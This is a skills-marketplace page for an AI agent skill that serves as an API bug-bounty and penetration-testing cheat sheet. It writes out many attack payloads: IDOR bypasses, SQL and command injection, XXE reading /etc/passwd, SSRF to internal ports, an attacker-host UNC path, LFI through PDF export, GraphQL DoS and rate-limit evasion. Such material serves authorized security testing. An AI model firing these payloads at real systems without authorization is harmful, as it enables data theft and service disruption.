Smithery Logo
MCPsSkillsDocsPricing
Login
Smithery Logo

Accelerating the Agent Economy

Resources

DocumentationPrivacy PolicySystem Status

Company

PricingAboutBlog

Connect

© 2026 Smithery. All rights reserved.

    davila7

    api-fuzzing-for-bug-bounty

    davila7/api-fuzzing-for-bug-bounty
    Security
    19,892
    2 installs

    About

    SKILL.md

    Install

    Install via Skills CLI

    or add to your agent
    • Claude Code
      Claude Code
    • Codex
      Codex
    • OpenClaw
      OpenClaw
    • Cursor
      Cursor
    • Amp
      Amp
    • GitHub Copilot
      GitHub Copilot
    • Gemini CLI
      Gemini CLI
    • Kilo Code
      Kilo Code
    • Junie
      Junie
    • Replit
      Replit
    • Windsurf
      Windsurf
    • Cline
      Cline
    • Continue
      Continue
    • OpenCode
      OpenCode
    • OpenHands
      OpenHands
    • Roo Code
      Roo Code
    • Augment
      Augment
    • Goose
      Goose
    • Trae
      Trae
    • Zencoder
      Zencoder
    • Antigravity
      Antigravity
    ├─
    ├─
    └─

    About

    This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or...

    SKILL.md

    API Fuzzing for Bug Bounty

    Purpose

    Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

    Inputs/Prerequisites

    • Burp Suite or similar proxy tool
    • API wordlists (SecLists, api_wordlist)
    • Understanding of REST/GraphQL/SOAP protocols
    • Python for scripting
    • Target API endpoints and documentation (if available)

    Outputs/Deliverables

    • Identified API vulnerabilities
    • IDOR exploitation proofs
    • Authentication bypass techniques
    • SQL injection points
    • Unauthorized data access documentation

    API Types Overview

    Type Protocol Data Format Structure
    SOAP HTTP XML Header + Body
    REST HTTP JSON/XML/URL Defined endpoints
    GraphQL HTTP Custom Query Single endpoint

    Core Workflow

    Step 1: API Reconnaissance

    Identify API type and enumerate endpoints:

    # Check for Swagger/OpenAPI documentation
    /swagger.json
    /openapi.json
    /api-docs
    /v1/api-docs
    /swagger-ui.html
    
    # Use Kiterunner for API discovery
    kr scan https://target.com -w routes-large.kite
    
    # Extract paths from Swagger
    python3 json2paths.py swagger.json
    

    Step 2: Authentication Testing

    # Test different login paths
    /api/mobile/login
    /api/v3/login
    /api/magic_link
    /api/admin/login
    
    # Check rate limiting on auth endpoints
    # If no rate limit → brute force possible
    
    # Test mobile vs web API separately
    # Don't assume same security controls
    

    Step 3: IDOR Testing

    Insecure Direct Object Reference is the most common API vulnerability:

    # Basic IDOR
    GET /api/users/1234 → GET /api/users/1235
    
    # Even if ID is email-based, try numeric
    /?user_id=111 instead of /?user_id=user@mail.com
    
    # Test /me/orders vs /user/654321/orders
    

    IDOR Bypass Techniques:

    # Wrap ID in array
    {"id":111} → {"id":[111]}
    
    # JSON wrap
    {"id":111} → {"id":{"id":111}}
    
    # Send ID twice
    URL?id=<LEGIT>&id=<VICTIM>
    
    # Wildcard injection
    {"user_id":"*"}
    
    # Parameter pollution
    /api/get_profile?user_id=<victim>&user_id=<legit>
    {"user_id":<legit_id>,"user_id":<victim_id>}
    

    Step 4: Injection Testing

    SQL Injection in JSON:

    {"id":"56456"}                    → OK
    {"id":"56456 AND 1=1#"}           → OK  
    {"id":"56456 AND 1=2#"}           → OK
    {"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
    {"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC
    

    Command Injection:

    # Ruby on Rails
    ?url=Kernel#open → ?url=|ls
    
    # Linux command injection
    api.url.com/endpoint?name=file.txt;ls%20/
    

    XXE Injection:

    <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    

    SSRF via API:

    <object data="http://127.0.0.1:8443"/>
    <img src="http://127.0.0.1:445"/>
    

    .NET Path.Combine Vulnerability:

    # If .NET app uses Path.Combine(path_1, path_2)
    # Test for path traversal
    https://example.org/download?filename=a.png
    https://example.org/download?filename=C:\inetpub\wwwroot\web.config
    https://example.org/download?filename=\\smb.dns.attacker.com\a.png
    

    Step 5: Method Testing

    # Test all HTTP methods
    GET /api/v1/users/1
    POST /api/v1/users/1
    PUT /api/v1/users/1
    DELETE /api/v1/users/1
    PATCH /api/v1/users/1
    
    # Switch content type
    Content-Type: application/json → application/xml
    

    GraphQL-Specific Testing

    Introspection Query

    Fetch entire backend schema:

    {__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}
    

    URL-encoded version:

    /graphql?query={__schema{types{name,kind,description,fields{name}}}}
    

    GraphQL IDOR

    # Try accessing other user IDs
    query {
      user(id: "OTHER_USER_ID") {
        email
        password
        creditCard
      }
    }
    

    GraphQL SQL/NoSQL Injection

    mutation {
      login(input: {
        email: "test' or 1=1--"
        password: "password"
      }) {
        success
        jwt
      }
    }
    

    Rate Limit Bypass (Batching)

    mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
    mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
    mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}
    

    GraphQL DoS (Nested Queries)

    query {
      posts {
        comments {
          user {
            posts {
              comments {
                user {
                  posts { ... }
                }
              }
            }
          }
        }
      }
    }
    

    GraphQL XSS

    # XSS via GraphQL endpoint
    http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
    
    # URL-encoded XSS
    http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
    

    GraphQL Tools

    Tool Purpose
    GraphCrawler Schema discovery
    graphw00f Fingerprinting
    clairvoyance Schema reconstruction
    InQL Burp extension
    GraphQLmap Exploitation

    Endpoint Bypass Techniques

    When receiving 403/401, try these bypasses:

    # Original blocked request
    /api/v1/users/sensitivedata → 403
    
    # Bypass attempts
    /api/v1/users/sensitivedata.json
    /api/v1/users/sensitivedata?
    /api/v1/users/sensitivedata/
    /api/v1/users/sensitivedata??
    /api/v1/users/sensitivedata%20
    /api/v1/users/sensitivedata%09
    /api/v1/users/sensitivedata#
    /api/v1/users/sensitivedata&details
    /api/v1/users/..;/sensitivedata
    

    Output Exploitation

    PDF Export Attacks

    <!-- LFI via PDF export -->
    <iframe src="file:///etc/passwd" height=1000 width=800>
    
    <!-- SSRF via PDF export -->
    <object data="http://127.0.0.1:8443"/>
    
    <!-- Port scanning -->
    <img src="http://127.0.0.1:445"/>
    
    <!-- IP disclosure -->
    <img src="https://iplogger.com/yourcode.gif"/>
    

    DoS via Limits

    # Normal request
    /api/news?limit=100
    
    # DoS attempt
    /api/news?limit=9999999999
    

    Common API Vulnerabilities Checklist

    Vulnerability Description
    API Exposure Unprotected endpoints exposed publicly
    Misconfigured Caching Sensitive data cached incorrectly
    Exposed Tokens API keys/tokens in responses or URLs
    JWT Weaknesses Weak signing, no expiration, algorithm confusion
    IDOR / BOLA Broken Object Level Authorization
    Undocumented Endpoints Hidden admin/debug endpoints
    Different Versions Security gaps in older API versions
    Rate Limiting Missing or bypassable rate limits
    Race Conditions TOCTOU vulnerabilities
    XXE Injection XML parser exploitation
    Content Type Issues Switching between JSON/XML
    HTTP Method Tampering GET→DELETE/PUT abuse

    Quick Reference

    Vulnerability Test Payload Risk
    IDOR Change user_id parameter High
    SQLi ' OR 1=1-- in JSON Critical
    Command Injection ; ls / Critical
    XXE DOCTYPE with ENTITY High
    SSRF Internal IP in params High
    Rate Limit Bypass Batch requests Medium
    Method Tampering GET→DELETE High

    Tools Reference

    Category Tool URL
    API Fuzzing Fuzzapi github.com/Fuzzapi/fuzzapi
    API Fuzzing API-fuzzer github.com/Fuzzapi/API-fuzzer
    API Fuzzing Astra github.com/flipkart-incubator/Astra
    API Security apicheck github.com/BBVA/apicheck
    API Discovery Kiterunner github.com/assetnote/kiterunner
    API Discovery openapi_security_scanner github.com/ngalongc/openapi_security_scanner
    API Toolkit APIKit github.com/API-Security/APIKit
    API Keys API Guesser api-guesser.netlify.app
    GUID GUID Guesser gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18
    GraphQL InQL github.com/doyensec/inql
    GraphQL GraphCrawler github.com/gsmith257-cyber/GraphCrawler
    GraphQL graphw00f github.com/dolevf/graphw00f
    GraphQL clairvoyance github.com/nikitastupin/clairvoyance
    GraphQL batchql github.com/assetnote/batchql
    GraphQL graphql-cop github.com/dolevf/graphql-cop
    Wordlists SecLists github.com/danielmiessler/SecLists
    Swagger Parser Swagger-EZ rhinosecuritylabs.github.io/Swagger-EZ
    Swagger Routes swagroutes github.com/amalmurali47/swagroutes
    API Mindmap MindAPI dsopas.github.io/MindAPI/play
    JSON Paths json2paths github.com/s0md3v/dump/tree/master/json2paths

    Constraints

    Must:

    • Test mobile, web, and developer APIs separately
    • Check all API versions (/v1, /v2, /v3)
    • Validate both authenticated and unauthenticated access

    Must Not:

    • Assume same security controls across API versions
    • Skip testing undocumented endpoints
    • Ignore rate limiting checks

    Should:

    • Add X-Requested-With: XMLHttpRequest header to simulate frontend
    • Check archive.org for historical API endpoints
    • Test for race conditions on sensitive operations

    Examples

    Example 1: IDOR Exploitation

    # Original request (own data)
    GET /api/v1/invoices/12345
    Authorization: Bearer <token>
    
    # Modified request (other user's data)
    GET /api/v1/invoices/12346
    Authorization: Bearer <token>
    
    # Response reveals other user's invoice data
    

    Example 2: GraphQL Introspection

    curl -X POST https://target.com/graphql \
      -H "Content-Type: application/json" \
      -d '{"query":"{__schema{types{name,fields{name}}}}"}'
    

    Troubleshooting

    Issue Solution
    API returns nothing Add X-Requested-With: XMLHttpRequest header
    401 on all endpoints Try adding ?user_id=1 parameter
    GraphQL introspection disabled Use clairvoyance for schema reconstruction
    Rate limited Use IP rotation or batch requests
    Can't find endpoints Check Swagger, archive.org, JS files
    Recommended Servers
    Postman
    Postman
    Vercel Grep
    Vercel Grep
    Repository
    davila7/claude-code-templates
    Files